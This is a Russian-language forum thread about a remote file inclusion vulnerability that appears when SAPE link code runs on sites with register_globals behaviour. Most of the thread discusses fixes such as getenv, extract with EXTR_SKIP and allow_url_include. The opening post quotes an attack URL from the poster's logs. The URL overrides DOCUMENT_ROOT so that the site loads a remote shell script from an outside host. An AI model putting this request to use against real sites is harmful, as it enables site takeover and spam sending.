Уязвимость сайта после вставки кода sape
Практика показала, что на некоторых хостингах и для некоторых движков код
Код:
<?php require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); Злоумышненники, используя запрос вида http://www.ваш-сайт.ru////?_SERVER[D...afterlife.txt? могут нарушить работу вашего сайта, в том числе рассылать спам от имени вашего сайта. В качестве строчки после _SERVER[DOCUMENT_ROOT] используется ссылка на код эксплоита (ссылка из логов http://jokernet.fileave.com/afterlife.txt? живая - можете посмотреть (это не вирус, а тело шелла, так что кликать безопасно), а заодно проверить, не случится ли чего с вашим сайтом, если его подставить на место www.ваш-сайт.ru). Решение проблемы на стороне сайта: заменить Код:
require_once($_SERVER['DOCUMENT_ROOT'].'/'._SAPE_USER.'/sape.php'); Код:
require_once(getenv('DOCUMENT_ROOT').'/'._SAPE_USER.'/sape.php'); |
уходите с хостинга, если вас ломанули.
и гуглите про register globals |
Цитата:
Цитата:
|
Цитата:
|
Это что, такой оригинальный способ распространят вирусы ТС придумал? -)))
|
dark, уходить с хостинга - вариант, переписать движок - тоже вариант (нормально написанный движок и нормально настроенный хостинг такой уязвимости не должны допустить), но если изменить в коде сапы одну строчку, то без потери функциональности проблемы можно избежать (кмк) на любом движке и на любом хостинге.
|
Shema, неизвестно где и сколько еще в твоем сайте таких уязвимостей
|
sylex, конечно, неизвестно.
И кстати проверил все свои сайты - сапа не добавила уязвимостей нормально написанному сайту. А вот затрояненный клиент на поддержку достался - куча сайтов с этой проблемой. А учитывая, что у сапы десятки тысяч сайтов, то даже пара процентов проблемных - это много. Поэтому, считаю, что если можно повысить безопасность кода, это надо сделать. |
Shema, абсолютно все могут НЕ пользоваться строчкой $_SERVER['DOCUMENT_ROOT'].
Что во первых - не уберет уязвимость, если она есть на этом хостинге. 2 - в приведенном примере что то сапы? Ну а объяснить как ставить по другому чтобы было понятно ВСЕМ и работало ... |
ТС, мои соболезнования, если ваш хост и сайт позволяют подставлять в ГЕт суперглобальные переменные, то...
Цитата:
|
Ога, уязвимость не в сапе, а в самом двиге(или возможно в хостинге).
|
Не в движке уязвимость, а в ДНК у человека, настраивавшего хостинг. Если гет-запросом можно перебить переменную окружения веб сервера, то это однозначный говнохостинг и бежать с него нужно без оглядки!
|
Atomic, Ank, про то, что говнохостинг есть говнохостинг вопросов нет. То, что движок написан не пойми как, что требует разрешения глобальных переменных и более того позволяет повлиять на свою функциональность переопределением $_SERVER['DOCUMENT_ROOT'] тоже очень плохо. НО я только говорю, что если в такой говнодвижок на таком говнохостинге поставить sape, то через такой говносайт можно творить, что попало, например, рассылать спам или DoS'ить.
Изменив одну строчку в коде-вставке sape, появление такой уязвимости можно не допустить. Я ни в чём не обвиняю sape, просто говорю, как можно чуть улучшить безопасность. Даже если говнохостинг и говнодвижок достались 0.1% клиентов sape, это всё равно тысячи сайтов... почему бы чуть не облегчить им жизнь? |
Цитата:
|
Цитата:
хостер должен заботиться о регистер глобалс, это неоспоримо. |
Хостинг можете озвучить?
|
Цитата:
|
гы.
да положите сапу в любую папку и делайте так <?php if (!defined('_SAPE_USER')){ define('_SAPE_USER', 'd56b17c1d94442b8874c6ad44aae3202'); } require_once('путь/к/папке/куда/вы/положили/код/сапы/sape.php'); $sape = new SAPE_client(); ?> или напишите в .htaccess php_value register_globals 0 и вообще, где вы нашли такой "прекрасный" хостинг? Добавлено через 2 минуты Shema, зачем облегчать жизнь идиотам? |
Цитата:
И писал уже я и cataev и еще помоему - ну не пользуйте $_SERVER['DOCUMENT_ROOT']. Дыру это НЕ закроет. Сломать такой "хостинг" можно и БЕЗ сапы. |
Авторитетно заявляю (с) :)
Такая уязвимость возникает при использовании в скрипте вызова фунции extract($_GET) или extract($_REQUEST). Это способ зарегистрировать глобалсы, если скрипт разработан для включенных глобалсов, а на сервере они отключены. При этом значение переменной $_SERVER['DOCUMENT_ROOT'] перекрывает значением извлеченным из $_GET. Безопасным способом использования extract является вызов с параметром extract_type = extr_skip extract($_GET,extr_skip) |
Ладно, я понял, что всем пофиг.
Я свои проблемы и проблемы клиента решил, мне в принципе тоже дальше пофиг. Не смотря на замечание с putenv (случай имеет право на существование, хотя кажется менее реалистичным), я считаю, что getenv безопаснее, чем суперглобал массивы. Зачем помогать идиотам? На этот вопрос можно смотреть по-разному. Зачем в машине ABS? (впрочем дальше флейм поддерживать не буду) |
Цитата:
Проблема то осталась. По прежнему любой желающий может через GET запрос прописывать переменные окружения вашего сайта так как ему захочется. А значит по прежнему можно ломать ваш сайт. Хостинг кстати, скорее всего не виноват. Это в движке так намудрили. |
приходит на почту - мол, превысил трафик и всё такое.. на 3 гига..
полез на хостинг - нашёл в папке сапы следующие файлы: links.db - 440 КБ logs.php - 5,5 КБ perl5.8.9.core - 3,02 ГБ sape.php - 24,6 КБ scanv511.txt - 53,7 КБ words.db - 1,24 КБ движок джумла 1.0 интересно, каким образом... |
А в файлах этих что?
|
hack hack hack и код..
перл не открывал )) |
Цитата:
Может у него вообще сайт на хтмл, а пхп только для подключения сапы, и он на самом деле решил все свои проблемы. |
i58, То что закрыл ТС это не дырка вовсе.
Подход в решении проблемы в корне не верный. Если есть такая лажа то нужно выяснять откуда у нее ноги растут. |
Возможно поможет:
php_flag allow_url_include off Запретить использовать URL в инклудах. |
Часовой пояс GMT +3, время: 06:44. |
Работает на vBulletin® версия 3.8.7.
Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
Перевод: zCarot
SAPE.RU — система купли-продажи ссылок с главных и внутренних страниц сайтов.